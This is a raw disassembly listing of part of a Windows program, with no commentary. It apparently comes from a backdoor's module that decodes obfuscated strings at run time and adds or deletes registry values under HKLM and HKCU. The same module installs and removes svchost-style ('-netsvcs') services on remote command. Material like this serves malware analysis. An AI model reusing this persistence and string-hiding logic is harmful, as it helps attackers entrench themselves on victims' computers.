		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019B5
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		mov	ebp, dword_50F754
		push	eax
		push	80000002h
		call	ebp
		mov	esi, [esp+80h+arg_4]
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		mov	ebx, [esp+84h+arg_0]
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2AB0000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2A70000h
		push	0
		lea	eax, [esp+84h+var_70]
		lea	ecx, [esp+84h+var_6C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		call	sub_4017E4
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2AB0000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 2A70000h
		nop
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2AB0000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2A70000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2AB0000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2A70000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2AB0000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2A70000h
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_6C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+80h+var_54]
		mov	[esp+80h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	8
sub_40E220	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E7A0	proc near		; CODE XREF: sub_401447j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40E7A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_6C]
		call	sub_401424
		lea	ecx, [esp+80h+var_3C]
		mov	[esp+80h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401424
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019B5
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019B5
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		mov	esi, dword_50F754
		push	eax
		push	80000002h
		call	esi
		mov	edi, [esp+80h+arg_0]
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		mov	ebp, dword_50F764
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		mov	ebx, dword_50F738
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		mov	[esp+80h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+80h+var_6C]
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	4
sub_40E7A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EC30	proc near		; CODE XREF: sub_401497j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40EC30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+5Ch+var_24]
		call	sub_401424
		push	104h
		push	104h
		lea	ecx, [esp+64h+var_24]
		mov	[esp+64h+var_4], 0
		call	sub_401C5D
		push	eax
		call	near ptr 2960961h
		nop
		lea	ecx, [esp+5Ch+var_3C]
		call	sub_401424
		mov	ecx, [esp+5Ch+arg_4]
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+60h+var_24]
		call	sub_4017E4
		push	eax
		lea	eax, [esp+64h+var_3C]
		push	offset dword_443684
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+5Ch+var_54]
		call	sub_401424
		lea	ecx, [esp+5Ch+var_54]
		push	offset aNetsvcs	; "-netsvcs"
		push	ecx
		mov	byte ptr [esp+64h+var_4], 2
		call	sub_40102D
		mov	ecx, [esp+64h+arg_0]
		add	esp, 8
		lea	edx, [esp+5Ch+var_54]
		lea	eax, [esp+5Ch+var_3C]
		push	edx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_402153
		lea	ecx, [esp+5Ch+var_54]
		mov	bl, al
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_401226
		lea	ecx, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+5Ch+var_24]
		mov	[esp+5Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+5Ch+var_C]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54h
		retn	8
sub_40EC30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ED70	proc near		; CODE XREF: sub_402153j

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40ED70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		mov	[esp+5Ch+var_44], ecx
		push	0
		call	near ptr 2A70935h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EDAF
		xor	al, al
		jmp	loc_40EF00
; ---------------------------------------------------------------------------


loc_40EDAF:				; CODE XREF: sub_40ED70+36j
		lea	ecx, [esp+54h+var_24]
		call	sub_401424
		mov	ecx, [esp+54h+arg_8]
		mov	[esp+54h+var_4], 0
		call	sub_4017E4
		mov	ebx, [esp+54h+arg_4]
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+5Ch+var_24]
		push	offset aSS_4	; "\"%s\" %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+54h+var_24]
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_4017E4
		push	eax
		push	1
		push	2
		push	20h
		push	0F01FFh
		mov	ecx, offset dword_447864
		call	sub_4017E4
		mov	ebp, [esp+7Ch+arg_0]
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		push	edi
		call	near ptr 2A80000h
		nop
		mov	esi, eax
		xor	ecx, ecx
		cmp	esi, ecx
		jnz	short loc_40EE95
		nop
		call	near ptr 2930847h
		cmp	eax, 431h
		jnz	short loc_40EE79
		mov	ecx, [esp+54h+var_44]
		push	ebp
		call	sub_401942
		mov	esi, dword_50F74C
		push	0
		call	esi
		push	edi
		call	esi
		mov	ecx, [esp+54h+var_44]
		push	ebx
		push	ebp
		call	sub_401497
		lea	ecx, [esp+54h+var_24]
		mov	bl, al
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40EF00
; ---------------------------------------------------------------------------


loc_40EE79:				; CODE XREF: sub_40ED70+CBj
		push	edi
		call	near ptr 2A8036Ch
		nop
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	short loc_40EF00
; ---------------------------------------------------------------------------


loc_40EE95:				; CODE XREF: sub_40ED70+BEj
		lea	edx, [esp+54h+var_38]
		mov	[esp+54h+var_34], ecx
		mov	dword ptr [esp+54h+var_30], ecx
		push	edx
		mov	eax, 1
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+58h+var_40]
		push	2
		push	esi
		mov	[esp+60h+var_3C], eax
		mov	[esp+60h+var_40], eax
		mov	[esp+60h+var_38], ebx
		mov	[esp+60h+var_2C], eax
		mov	[esp+60h+var_28], ecx
		nop
		call	near ptr 2A80610h
		test	eax, eax
		push	esi
		mov	esi, dword_50F74C
		jnz	short loc_40EEEC
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		xor	al, al
		jmp	short loc_40EF00
; ---------------------------------------------------------------------------


loc_40EEEC:				; CODE XREF: sub_40ED70+164j
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_40EF00:				; CODE XREF: sub_40ED70+3Aj
					; sub_40ED70+104j ...
		mov	ecx, [esp+54h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	0Ch
sub_40ED70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EF90	proc near		; CODE XREF: sub_401942j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2A70935h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EFB7
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40EFB7:				; CODE XREF: sub_40EF90+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	edi
		call	near ptr 2A102EFh
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40EFE4
		push	edi
		call	near ptr 2A8036Ch
		nop
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40EFE4:				; CODE XREF: sub_40EF90+41j
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	1
		push	esi
		call	near ptr 2A70542h
		nop
		push	esi
		nop
		call	near ptr 2A707FAh
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 1Ch
		retn	4
sub_40EF90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F030	proc near		; CODE XREF: sub_401FB4j

arg_0		= dword	ptr  4

		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 2A70935h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F04F
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F04F:				; CODE XREF: sub_40F030+17j
		mov	ecx, [esp+4+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	esi
		call	near ptr 2A102EFh
		nop
		test	eax, eax
		jnz	short loc_40F076
		push	esi
		call	near ptr 2A8036Ch
		nop
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F076:				; CODE XREF: sub_40F030+37j
		push	edi
		mov	edi, dword_50F74C
		push	eax
		call	edi
		push	esi
		call	edi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F030	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F0B0	proc near		; CODE XREF: sub_401FDCj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 2A70935h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F0D1
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F0D1:				; CODE XREF: sub_40F0B0+18j
		mov	ecx, [esp+8+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	edi
		call	near ptr 2A102EFh
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F0FB
		push	edi
		call	near ptr 2A8036Ch
		nop
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F0FB:				; CODE XREF: sub_40F0B0+3Bj
		push	0
		push	0
		push	esi
		call	near ptr 2A60A0Dh
		nop
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F0B0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40F140:				; CODE XREF: ___:loc_4014A1j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_439048
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		mov	esi, [esp+78h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+19h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F23A
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+14h]
		push	2
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+84h], ebx
		call	sub_4011EA
		lea	edx, [esp+0Ch]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+7Ch], 1
		call	sub_401726
		test	al, al
		jz	short loc_40F206
		lea	ecx, [esp+0Ch]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+28h]
		call	sub_4017E4
		push	eax
		push	offset aRegAddSAsS_ ; "reg(add)	\"%s\" as \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch


loc_40F206:				; CODE XREF: ___:0040F1C7j
		lea	ecx, [esp+0Ch]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F23A:				; CODE XREF: ___:0040F176j
		lea	ecx, [edi+47h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F2D9
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 2
		push	ecx
		mov	ecx, edi
		call	sub_401447
		test	al, al
		jz	short loc_40F2B2
		lea	ecx, [esp+24h]
		call	sub_4017E4
		push	eax
		push	offset aRegDelS_ ; "reg(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_40F2B2:				; CODE XREF: ___:0040F27Dj
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F2D9:				; CODE XREF: ___:0040F24Cj
		lea	ecx, [edi+75h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F3EF
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+44h]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+14h]
		push	2
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+84h], 3
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		mov	bl, 4
		push	3
		push	eax
		mov	ecx, esi
		mov	[esp+84h], bl
		call	sub_4011EA
		lea	ecx, [esp+24h]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+40h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+80h], 5
		call	sub_402153
		test	al, al
		jz	short loc_40F3AD
		lea	ecx, [esp+24h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h]
		call	sub_4017E4
		push	eax
		push	offset aServAddSAsSS_ ;	"serv(add) \"%s\" as \"\"%s\" %s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 20h


loc_40F3AD:				; CODE XREF: ___:0040F364j
		lea	ecx, [esp+24h]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+74h], 3
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F3EF:				; CODE XREF: ___:0040F2EBj
		lea	ecx, [edi+0A3h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F491
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 6
		push	ecx
		mov	ecx, edi
		call	sub_401942
		test	al, al
		jz	short loc_40F46A
		lea	ecx, [esp+54h]
		call	sub_4017E4
		push	eax
		push	offset aServDelS_ ; "serv(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_40F46A:				; CODE XREF: ___:0040F435j
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F491:				; CODE XREF: ___:0040F404j
		mov	ecx, [esp+6Ch]
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F590	proc near		; CODE XREF: sub_401D02j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		add	esp, 4
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40F590	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

